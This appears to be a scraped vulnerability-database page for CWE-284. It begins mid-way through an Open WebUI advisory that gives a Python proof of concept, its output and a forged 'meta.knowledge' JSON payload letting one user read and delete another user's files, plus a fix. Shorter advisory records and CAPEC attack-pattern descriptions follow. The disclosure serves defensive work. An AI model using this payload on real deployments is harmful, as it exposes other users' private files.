\"stored_knowledge_file_ids\": stored_knowledge_ids,\n }\n\n\nasync def verify_view_file_trusts_model_knowledge(victim_file_id: str):\n class FakeFiles:\n looked_up_ids = []\n\n async def get_file_by_id(self, file_id, db=None):\n self.looked_up_ids.append(file_id)\n if file_id == victim_file_id:\n return SimpleNamespace(\n id=victim_file_id,\n user_id=\"victim\",\n filename=\"victim-private.txt\",\n data={\"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\"},\n created_at=1,\n updated_at=2,\n )\n return None\n\n async def fake_has_access_to_file(file_id, access_type, user, db=None):\n return False\n\n class FakeUserModel:\n def __init__(self, **kwargs):\n self.__dict__.update(kwargs)\n\n fake_files = FakeFiles()\n fake_files_module = types.SimpleNamespace(Files=fake_files)\n fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)\n\n original_files_module = sys.modules.get(\"open_webui.models.files\")\n original_acl_module = sys.modules.get(\"open_webui.utils.access_control.files\")\n\n try:\n sys.modules[\"open_webui.models.files\"] = fake_files_module\n sys.modules[\"open_webui.utils.access_control.files\"] = fake_file_acl_module\n\n source = BUILTIN_TOOLS.read_text(encoding=\"utf-8\")\n tree = ast.parse(source, filename=str(BUILTIN_TOOLS))\n selected = [\n node\n for node in tree.body\n if isinstance(node, ast.AsyncFunctionDef) and node.name == \"view_file\"\n ]\n if len(selected) != 1:\n raise RuntimeError(\"could not find view_file\")\n module = ast.Module(body=selected, type_ignores=[])\n ast.fix_missing_locations(module)\n ns = {\n \"json\": json,\n \"Optional\": __import__(\"typing\").Optional,\n \"Request\": object,\n \"UserModel\": FakeUserModel,\n \"log\": SimpleNamespace(exception=lambda *args, **kwargs: None),\n \"MAX_VIEW_FILE_CHARS\": 100_000,\n \"DEFAULT_VIEW_FILE_MAX_CHARS\": 10_000,\n }\n exec(compile(module, str(BUILTIN_TOOLS), \"exec\"), ns)\n view_file = ns[\"view_file\"]\n\n denied_without_model_knowledge = await view_file(\n victim_file_id,\n __request__=SimpleNamespace(),\n __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n __model_knowledge__=[],\n )\n allowed_with_model_knowledge = await view_file(\n victim_file_id,\n __request__=SimpleNamespace(),\n __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n __model_knowledge__=[{\"id\": victim_file_id, \"type\": \"file\"}],\n )\n finally:\n if original_files_module is not None:\n sys.modules[\"open_webui.models.files\"] = original_files_module\n else:\n sys.modules.pop(\"open_webui.models.files\", None)\n if original_acl_module is not None:\n sys.modules[\"open_webui.utils.access_control.files\"] = original_acl_module\n else:\n sys.modules.pop(\"open_webui.utils.access_control.files\", None)\n\n denied = json.loads(denied_without_model_knowledge)\n allowed = json.loads(allowed_with_model_knowledge)\n return {\n \"file_ids_looked_up\": fake_files.looked_up_ids,\n \"without_model_knowledge\": denied,\n \"with_forged_model_knowledge\": allowed,\n \"private_content_disclosed\": allowed.get(\"content\") == \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n }\n\n\nasync def main() -\u003e None:\n prepare_imports()\n victim_file_id = \"victim-private-file\"\n\n insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)\n tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)\n\n result = {\n \"confirmed\": (\n insert_sink[\"insert_returned_model\"] is True\n and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n and insert_sink[\"stored_knowledge_file_ids\"] == [victim_file_id]\n and tool_read[\"without_model_knowledge\"].get(\"error\") == \"File not found\"\n and tool_read[\"private_content_disclosed\"] is True\n ),\n \"attacker_user_id\": \"attacker\",\n \"victim_user_id\": \"victim\",\n \"victim_file_id\": victim_file_id,\n \"attacker_owns_file\": False,\n \"model_insert_sink\": insert_sink,\n \"tool_read\": tool_read,\n \"source\": {\n \"insert_sink\": \"backend/open_webui/models/models.py:Models.insert_new_model\",\n \"tool_injection\": \"backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__\",\n \"read_sink\": \"backend/open_webui/tools/builtin.py:view_file\",\n },\n }\n print(json.dumps(result, indent=2, sort_keys=True))\n if not result[\"confirmed\"]:\n raise SystemExit(1)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nThe PoC executes the real `Models.insert_new_model()` sink and the real `view_file()` authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in `meta.knowledge`, then confirms `view_file()` denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.\n\nResult:\n\n```json\n{\n \"attacker_owns_file\": false,\n \"attacker_user_id\": \"attacker\",\n \"confirmed\": true,\n \"model_insert_sink\": {\n \"db_commit_called\": true,\n \"insert_returned_model\": true,\n \"stored_knowledge_file_ids\": [\n \"victim-private-file\"\n ],\n \"stored_model_ids\": [\n \"attacker-model\"\n ],\n \"stored_user_ids\": [\n \"attacker\"\n ]\n },\n \"tool_read\": {\n \"private_content_disclosed\": true,\n \"with_forged_model_knowledge\": {\n \"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n \"filename\": \"victim-private.txt\",\n \"id\": \"victim-private-file\"\n },\n \"without_model_knowledge\": {\n \"error\": \"File not found\"\n }\n },\n \"victim_file_id\": \"victim-private-file\",\n \"victim_user_id\": \"victim\"\n}\n```\n\n## Exploit Sketch\n\n1. Attacker has permission to create or update workspace models.\n2. Attacker creates a model with:\n\n```json\n{\n \"meta\": {\n \"knowledge\": [\n {\n \"id\": \"VICTIM_FILE_ID\",\n \"type\": \"file\",\n \"name\": \"victim-private.txt\"\n }\n ],\n \"builtinTools\": {\n \"knowledge\": true\n }\n }\n}\n```\n\n3. Attacker chats with that model using native/built-in tools and invokes `view_file` for `VICTIM_FILE_ID`.\n4. The tool returns the victim file\u0027s extracted text content despite the attacker not owning or otherwise having access to the file.\n\n## Recommended Fix\n\nValidate `meta.knowledge` on every model write path: create, update, and import. For entries with `type == \"file\"`, require direct ownership, admin role, or `has_access_to_file(file_id, \u0027read\u0027, user, db=db)` before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as `403`, not `500`.\n\nDo not let `view_file()` treat `__model_knowledge__` as an authorization bypass; it should still enforce ownership/admin/`has_access_to_file()` per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.\n\n## Consolidation\n\nPer our Report Handling policy this consolidates independent reports of the same model `meta.knowledge` file-ID laundering flaw:\n\n- Read via forged `meta.knowledge` on model create, through the built-in `view_file` tool: @0xEr3n (earliest filing).\n- Distinct paths demonstrated by @5yu4n: the import endpoint (`POST /api/v1/models/import`), and cross-user read and deletion through the file API (`GET` / `DELETE /api/v1/files/{id}`) via `has_access_to_file()`\u0027s model branch.\n\nFix validates `meta.knowledge` ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.",
"id": "GHSA-vjqm-6gcc-62cr",
"modified": "2026-06-17T14:15:33Z",
"published": "2026-06-17T14:15:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vjqm-6gcc-62cr"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion"
}
GHSA-VM26-WXGQ-MF6W
Vulnerability from github – Published: 2023-02-27 21:30 – Updated: 2023-03-07 21:30A logic issue was addressed with improved state management. This issue is fixed in macOS Ventura 13, macOS Monterey 12.6, macOS Big Sur 11.7. An app may be able to bypass Privacy preferences.
{
"affected": [],
"aliases": [
"CVE-2022-32902"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-27T20:15:00Z",
"severity": "MODERATE"
},
"details": "A logic issue was addressed with improved state management. This issue is fixed in macOS Ventura 13, macOS Monterey 12.6, macOS Big Sur 11.7. An app may be able to bypass Privacy preferences.",
"id": "GHSA-vm26-wxgq-mf6w",
"modified": "2023-03-07T21:30:16Z",
"published": "2023-02-27T21:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32902"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213443"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213444"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213488"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VM46-9FQ2-GHM4
Vulnerability from github – Published: 2024-08-05 18:31 – Updated: 2024-08-07 21:31An issue in UAB Lexita PanteraCRM CMS v.401.152 and Patera CRM CMS v.402.072 allows a remote attacker to escalate privileges via the user profile management function.
{
"affected": [],
"aliases": [
"CVE-2024-40531"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-05T16:15:36Z",
"severity": "HIGH"
},
"details": "An issue in UAB Lexita PanteraCRM CMS v.401.152 and Patera CRM CMS v.402.072 allows a remote attacker to escalate privileges via the user profile management function.",
"id": "GHSA-vm46-9fq2-ghm4",
"modified": "2024-08-07T21:31:43Z",
"published": "2024-08-05T18:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40531"
},
{
"type": "WEB",
"url": "https://critical.lt/blog/authorization-bypass-and-mass-assignment-in-pantera-crm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VM4Q-RH8M-X3PG
Vulnerability from github – Published: 2025-04-28 09:31 – Updated: 2025-04-28 09:31A vulnerability classified as critical has been found in youyiio BeyongCms 1.6.0. Affected is an unknown function of the file /admin/theme/Upload.html of the component Document Management Page. The manipulation of the argument File leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-4006"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-28T07:15:14Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical has been found in youyiio BeyongCms 1.6.0. Affected is an unknown function of the file /admin/theme/Upload.html of the component Document Management Page. The manipulation of the argument File leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-vm4q-rh8m-x3pg",
"modified": "2025-04-28T09:31:53Z",
"published": "2025-04-28T09:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4006"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.306342"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.306342"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.558152"
},
{
"type": "WEB",
"url": "https://wiki.shikangsi.com/post/share/7e2d3cf9-6463-4331-a1f5-c270d5695266"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.